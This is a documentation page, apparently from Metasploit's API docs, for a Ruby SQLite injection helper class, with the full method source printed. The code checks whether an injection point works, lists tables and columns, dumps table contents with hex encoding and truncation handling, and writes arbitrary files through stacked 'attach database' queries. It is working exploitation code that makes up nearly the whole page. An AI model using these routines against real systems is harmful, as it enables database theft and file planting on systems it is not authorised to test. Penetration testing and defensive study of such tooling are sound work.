Class: Msf::Exploit::SQLi::SQLitei::Common
- Defined in:
- lib/msf/core/exploit/sqli/sqlitei/common.rb
Direct Known Subclasses
Constant Summary collapse
- ENCODERS =
Encoders available for SQLite
{ hex: { encode: 'hex(^DATA^)', decode: proc { |data| Rex::Text.hex_to_raw(data) } } }.freeze
Instance Attribute Summary
Attributes inherited from Common
#concat_separator, #datastore, #framework, #null_replacement, #safe, #second_concat_separator, #truncation_length
Attributes included from Rex::Ui::Subscriber::Input
Attributes included from Rex::Ui::Subscriber::Output
Instance Method Summary collapse
-
#dump_table_fields(table, columns, condition = '', limit = '') ⇒ Array
Dumps data from a given table.
-
#enum_table_columns(table) ⇒ Object
Returns the names of the columns of the given table NOTE: might not work if pragma_table_info is not supported, use run_sql, and query sql from sqlite_master if you need it in older versions of SQLite @param table [String] The name of a table @return [Array] an array of strings, the names of the columns of the given table.
-
#enum_table_names ⇒ Object
Returns the names of the tables present on the current database @return [Array] an array of Strings, the names of the tables in the current database.
-
#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ SQLi::SQLitei::Common
constructor
Creates an SQLite injection object, refer to SQLi::Common#initialize for a description of the options.
-
#test_vulnerable ⇒ Object
Returns true if the SQL injection is found to work as expected @return [Boolean] whether the check determined that the SQL injection works.
-
#version ⇒ Object
Returns the version of SQLite in use @return [String] The version of SQLite in use.
-
#write_to_file(fpath, data) ⇒ void
Attempt writing data to the file at the given path Note: target must support stacked queries, and injection point must be at the start of a new query.
Methods inherited from Common
Methods included from Module::UI
Methods included from Module::UI::Message
#print_error, #print_good, #print_prefix, #print_status, #print_warning
Methods included from Module::UI::Message::Verbose
#vprint_error, #vprint_good, #vprint_status, #vprint_warning
Methods included from Module::UI::Line
#print_line, #print_line_prefix
Methods included from Module::UI::Line::Verbose
Methods included from Rex::Ui::Subscriber
Methods included from Rex::Ui::Subscriber::Input
Methods included from Rex::Ui::Subscriber::Output
#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning
Constructor Details
#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ SQLi::SQLitei::Common
Creates an SQLite injection object, refer to SQLi::Common#initialize for a description of the options
23 24 25 26 27 28 29 30 |
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 23 def initialize(datastore, framework, user_output, opts = {}, &query_proc) opts[:concat_separator] ||= ',' if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol) opts[:encoder] = opts[:encoder].downcase.intern opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]] end super end |
Instance Method Details
#dump_table_fields(table, columns, condition = '', limit = '') ⇒ Array
Dumps data from a given table
77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 |
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 77 def dump_table_fields(table, columns, condition = '', limit = '') return '' if columns.empty? one_column = columns.length == 1 if one_column columns = "ifnull(#{columns.first},'#{@null_replacement}')" columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder else columns = columns.map do |col| col = "ifnull(#{col},'#{@null_replacement}')" @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col end.join("||'#{@second_concat_separator}'||") end unless condition.empty? condition = ' where ' + condition end num_limit = limit.to_i if num_limit > 0 limit = ' limit ' + num_limit.to_s end retrieved_data = nil if @safe # no group_concat, leak one row at a time row_count = run_sql("select count(1) from #{table}#{condition}").to_i num_limit = row_count if num_limit == 0 || row_count < num_limit retrieved_data = num_limit.times.map do |current_row| if @truncation_length truncated_query("select substr(cast(#{columns} as blob),^OFFSET^,#{@truncation_length}) from " \ "#{table}#{condition} limit 1 offset #{current_row}") else run_sql("select cast(#{columns} as blob) from #{table}#{condition} limit 1 offset #{current_row}") end end else if num_limit > 0 alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) } if @truncation_length retrieved_data = truncated_query('select substr(group_concat(' \ "#{alias1},'#{@concat_separator}'),"\ "^OFFSET^,#{@truncation_length}) from (select cast(#{columns} as blob) #{alias1} from #{table}"\ "#{condition}#{limit}) #{alias2}").split(@concat_separator || ',') else retrieved_data = run_sql("select group_concat(#{alias1},'#{@concat_separator}')"\ " from (select cast(#{columns} as blob) #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',') end else if @truncation_length retrieved_data = truncated_query('select substr(group_concat(' \ "cast(#{columns} as blob),'#{@concat_separator}')," \ "^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator) else retrieved_data = run_sql("select group_concat(cast(#{columns} as blob),'#{@concat_separator}')" \ " from #{table}#{condition}#{limit}").split(@concat_separator) end end end retrieved_data.map do |row| row = row.split(@second_concat_separator) @encoder ? row.map { |x| @encoder[:decode].call(x) } : row end end |
#enum_table_columns(table) ⇒ Object
Returns the names of the columns of the given table
NOTE: might not work if pragma_table_info is not supported, use run_sql,
and query sql from sqlite_master if you need it in older versions of SQLite
@param table [String] The name of a table
@return [Array] an array of strings, the names of the columns of the given table
55 56 57 |
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 55 def enum_table_columns(table) dump_table_fields("pragma_table_info('#{table}')", %w[name]).flatten end |
#enum_table_names ⇒ Object
Returns the names of the tables present on the current database
@return [Array] an array of Strings, the names of the tables in the current database
44 45 46 |
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 44 def enum_table_names dump_table_fields('sqlite_master', %w[tbl_name], "type='table'").flatten end |
#test_vulnerable ⇒ Object
Returns true if the SQL injection is found to work as expected
@return [Boolean] whether the check determined that the SQL injection works
143 144 145 146 147 148 149 150 151 |
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 143 def test_vulnerable random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10) random_string = Rex::Text.rand_text_alphanumeric(random_string_len) query_string = "'#{random_string}'" query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder output = run_sql("select #{query_string}") return false if output.nil? (@encoder ? @encoder[:decode].call(output) : output) == random_string end |
#version ⇒ Object
Returns the version of SQLite in use
@return [String] The version of SQLite in use
36 37 38 |
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 36 def version call_function('sqlite_version()') end |
#write_to_file(fpath, data) ⇒ void
This method returns an undefined value.
Attempt writing data to the file at the given path Note: target must support stacked queries, and injection point must be at the start of a new query
64 65 66 67 |
# File 'lib/msf/core/exploit/sqli/sqlitei/common.rb', line 64 def write_to_file(fpath, data) db, tbl, col = 3.times.map { Rex::Text.rand_text_alpha(rand(2..5)) } raw_run_sql("attach database '#{fpath}' AS #{db}; create table #{db}.#{tbl}(#{col} blob); insert into #{db}.#{tbl}(#{col}) values('#{data}')") end |